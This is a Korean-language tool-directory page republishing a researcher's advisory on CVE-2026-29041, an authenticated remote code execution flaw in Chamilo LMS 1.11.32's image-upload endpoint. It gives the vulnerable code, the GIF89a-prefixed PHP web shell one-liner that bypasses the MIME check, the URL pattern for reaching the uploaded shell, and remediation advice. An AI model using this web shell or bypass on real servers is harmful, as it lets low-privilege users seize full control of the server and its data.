Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-29041 — 안녕하세요, 저는 K입니다. 이것은 제 첫 CVE로, 원격 코드 실행(RCE) 취약점입니다. 보안 연구원으로서의 제 여정의 시작입니다. | Kitploit
도구/GitHubGitHub/kx00007/cve-2026-29041
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubkx00007/cve-2026-29041

CVE-2026-29041

안녕하세요, 저는 K입니다. 이것은 제 첫 CVE로, 원격 코드 실행(RCE) 취약점입니다. 보안 연구원으로서의 제 여정의 시작입니다.

저장소 보기
25개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-29041 — Chamilo LMS 1.11.32의 무제한 파일 업로드를 통한 인증된 RCE

인증된 원격 코드 실행(RCE) — Chamilo LMS 1.11.32의 ck_uploadimage AJAX 엔드포인트에서 부적절한 파일 업로드 검증으로 인해 발생합니다. 낮은 권한의 학생이 이미지로 위장한 PHP 웹 셸을 업로드하여 서버 전체를 장악할 수 있습니다.


📋 취약점 요약

필드세부 정보
제품Chamilo LMS
버전1.11.32 (확인됨)
취약점위험한 유형의 무제한 파일 업로드 (CWE-434)
영향인증된 원격 코드 실행 (RCE)
CVSS v3.18.8 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
인증 필요✅ 예 — 학생 역할 (낮은 권한)
CWECWE-434: 위험한 유형의 무제한 파일 업로드
발견자MENG HOKSENG

🧠 취약점 세부 정보

영향받는 엔드포인트

root@kitploit:~
POST /main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=[COURSE_ID]

취약한 파일: main/inc/ajax/document.ajax.php
취약한 함수: ck_uploadimage

근본 원인 분석

업로드 핸들러는 PHP의 mime_content_type() 함수를 사용하여 MIME 유형 검증만 수행합니다. 이 함수는 파일 확장자가 아닌 파일의 매직 바이트(콘텐츠의 처음 몇 바이트)를 검사합니다.

root@kitploit:~
// 취약한 검증 로직 (단순화됨)
$mime = mime_content_type($_FILES['upload']['tmp_name']);

if (!mimeAccepted($mime, ['image'])) {
    die("Invalid file type");
}

// ❌ 확장자 검증 없음
// ❌ 파일명 정화(sanitization) 없음
move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath . $fileUploadName);

두 가지 개별적인 약점이 결합되어 완전한 공격 체인을 구성합니다:

  1. MIME 유형만 검증 — PHP 코드 앞에 유효한 이미지 매직 바이트(GIF89a)를 추가하여 우회
  2. 원본 파일명 유지 — 서버는 공격자가 제어하는 .php 확장자를 포함한 파일명으로 웹에서 접근 가능한 디렉터리에 파일을 저장

우회 기법

악성 파일은 다음과 같이 제작됩니다:

root@kitploit:~
GIF89a;<?php system($_GET['cmd']); ?>
  • mime_content_type()이 GIF89a를 읽음 → image/gif로 분류 → 검증 통과
  • move_uploaded_file()이 /app/upload/users/<id>/에 shell.php로 저장 → 브라우저를 통해 직접 실행 가능

💣 개념 증명(PoC)

학생으로 로그인하여 파일 업로드를 자동으로 수행하는 전체 익스플로잇 실행 image Python 전체 익스플로잇 실행 후, 업로드된 웹 셸을 http://localhost:8081/app/upload/users/3/3/my_fileszhxoxgwj.php?cmd=id 에서 찾을 수 있습니다. image

🛡️ 영향

이 취약점을 성공적으로 악용하면 학생 수준 계정에서 서버 전체를 장악할 수 있습니다:

  • 🔴 원격 코드 실행 — 웹 셸을 통한 임의 OS 명령 실행
  • 🔴 데이터 유출 — 애플리케이션 데이터베이스 자격 증명 및 파일에 대한 전체 접근
  • 🔴 수평 이동 — 손상된 서버에서 내부 네트워크로 피벗
  • 🔴 지속성 — 웹에서 접근 가능한 디렉터리에 백도어 설치 가능
  • 🔴 서비스 중단 — 강좌 콘텐츠 및 사용자 데이터 수정 또는 삭제

CIA 영향: 기밀성, 무결성, 가용성의 완전한 손실.


🔧 해결 방안

▪ 엄격한 파일 확장자 허용 목록 적용 명시적으로 허용된 이미지 파일 확장자(예: .jpg, .png, .gif)만 허용해야 합니다. .php, .phtml, .phar와 같은 실행 가능한 확장자를 가진 업로드 파일은 MIME 유형과 관계없이 거부되어야 합니다.

▪ MIME 유형 검증에만 의존하지 않기 mime_content_type()과 같은 함수를 사용한 MIME 유형 검사는 기본 보안 통제로 사용해서는 안 됩니다. 조작된 파일 헤더로 우회할 수 있기 때문입니다. MIME 검증은 보조 검사로만 사용해야 합니다.

▪ 업로드된 파일을 웹에서 접근 가능한 디렉터리 외부에 저장 업로드된 콘텐츠는 웹 서버를 통해 직접 접근할 수 없는 디렉터리에 저장해야 합니다. 공개 접근이 필요한 경우, 직접 접근 대신 통제된 핸들러를 통해 파일을 제공해야 합니다.

📄 참고 자료

  • Chamilo LMS 공식 사이트
  • CWE-434: 위험한 유형의 무제한 파일 업로드
  • OWASP: 무제한 파일 업로드
  • CVSS v3.1 계산기

👤 작성자

MENG HOKSENG
독립 보안 연구원


⚠️ 법적 고지

이 프로젝트는 교육 및 승인된 보안 연구 목적으로만 공개되었습니다. 작성자는 이 익스플로잇으로 인한 오용이나 피해에 대해 책임을 지지 않습니다. 보안 평가를 수행하기 전에 항상 명시적인 서면 승인을 받으십시오.

도구 다운로드